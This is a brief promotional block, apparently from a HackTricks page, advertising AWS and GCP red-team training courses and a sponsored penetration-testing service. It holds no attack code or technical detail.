{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Get a hacker's perspective on your web apps, network, and cloud

Find and report critical, exploitable vulnerabilities with real business impact. Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Support HackTricks
{% endhint %}